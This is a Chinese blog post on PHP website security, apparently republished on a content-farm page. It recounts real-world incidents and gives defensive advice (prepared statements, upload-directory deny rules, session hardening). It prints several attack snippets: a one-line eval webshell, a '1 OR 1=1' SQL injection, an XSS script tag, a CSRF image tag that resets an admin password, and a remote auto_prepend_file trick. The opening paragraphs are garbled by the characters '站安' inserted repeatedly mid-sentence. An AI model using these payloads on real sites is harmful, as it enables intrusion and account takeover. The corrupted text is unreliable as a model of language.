您现在的位置是:烟消火灭网 > 综合
php网站安全
烟消火灭网2026-10-17 07:46:15【综合】1人已围观
简介```html php网站安全 php网站安全 去年帮一个做外贸的朋友看他的商城站,刚连上服务器就发现uploads/目录里躺着一个shell.php,内容就一行eval($_POST['
php网站安全
去年帮一个做外贸的站安朋友看他的商城站,刚连上服务器就发现uploads/目录里躺着一个shell.php,站安内容就一行eval($_POST['cmd']);。站安问了一圈,站安原来是站安运营图省事,把后台文件上传的站安MIME校验注释掉了,觉得“反正前端有JS拦着”。站安这种掩耳盗铃的站安事我见过太多——PHP网站的安全问题,九成不是站安语言本身的漏洞,而是站安写代码的人默认“用户会按规矩来”。
SQL注入算是站安老生常谈,但至今仍是站安重灾区。有个做在线教育的站安客户,教务系统用$_GET['id']直接拼进查询,站安我拿sqlmap跑了一遍,站安三分钟就拖出了全库的学生身份证号。他们技术负责人还嘴硬说“参数是数字,没事”。数字型注入照样能玩出花,1 OR 1=1这种幼儿园级别的payload都能过。后来我让他们把PDO预处理全量替换掉mysql_query,那哥们儿改了两天,抱怨说“以前写起来多快”。快是快,出事也快。
文件包含和文件上传这对难兄难弟,经常被开发者当成“小功能”随手写。见过一个CMS,include($_GET['tpl'].'.php'),连目录穿越都懒得过滤。攻击者传个图片马,配合%00截断(老版本PHP)或者php://filter,直接RCE。更离谱的是有些站把php.ini里的allow_url_include开着,远程包含一句话,服务器就成肉鸡了。我自己的习惯是:上传目录永远不给执行权限,nginx里加一条location ~* /uploads/.*\.php$ { deny all; },能挡掉八成脚本小子。
XSS和CSRF属于“不直接丢数据但恶心人”的类型。有个论坛站,用户昵称没做HTML实体转义,我注册了个叫<script>alert(1)</script>的账号,结果每个回帖页面都弹窗。管理员还以为是服务器中毒了。CSRF更隐蔽——某次测试一个后台,GET请求就能改管理员密码,我写了个<img src="http://target/admin/change_pwd.php?new=123456">丢在评论区,半天后管理员账号就归我了。防御?SameSite Cookie加Token校验,别偷懒用Referer,那玩意儿能伪造。
会话安全经常被忽略。见过不少站把session_id放在URL里传,用户复制链接分享出去,别人直接登录。还有session文件存在/tmp且权限是777,同一台服务器上其他站点的用户能读能写。我一般会强制session.cookie_httponly=1、session.cookie_secure=1,登录后立刻session_regenerate_id(true)。这些配置写在php.ini里比在代码里ini_set靠谱,毕竟有些虚拟主机不让你动态改。
命令执行和代码执行是终极噩梦。system、exec、popen这些函数,能禁用就禁用,disable_functions里塞一串。但道高一尺魔高一丈,LD_PRELOAD绕过、imagick漏洞、bash环境变量注入……防不胜防。我的观点很直接:PHP网站安全不是靠某个函数或某个扩展,而是靠“不信任任何输入”的偏执。每个$_GET、$_POST、$_COOKIE、$_SERVER都当成带毒的针,过滤、转义、白名单,一个都别少。
最后说个真事。有次应急响应,发现攻击者通过phpMyAdmin的setup脚本写了个.htaccess,把auto_prepend_file指向了一个远程URL。整个站点的每个PHP文件执行前都会先加载攻击者的代码。清理的时候,find / -name "*.php" -exec grep -l "eval" { } \;跑了一下午。那之后我养成了习惯:生产环境phpinfo、phpMyAdmin、adminer这些玩意儿,能删就删,不能删就加IP白名单。别问,问就是被搞怕了。
很赞哦!(95399)







